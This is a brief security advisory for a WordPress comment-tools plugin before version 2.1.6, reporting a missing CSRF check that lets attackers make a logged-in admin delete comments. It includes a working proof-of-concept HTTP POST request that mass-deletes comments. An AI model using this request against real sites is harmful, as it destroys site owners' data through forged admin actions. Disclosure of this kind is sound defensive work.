Comment Link Remove and Other Comment Tools < 2.1.6 - Arbitrary Comment Deletion via CSRF

The plugin does not have CSRF check in its ‘Delete comments easily’, which could allow attackers to make logged in admin delete arbitrary comments

PoC

POST /wp-admin/admin.php?page=comment-link-remove HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 21 Connection: keep-alive Cookie: [admin+ cookies] Upgrade-Insecure-Requests: 1 delAllCmts=delAllCmts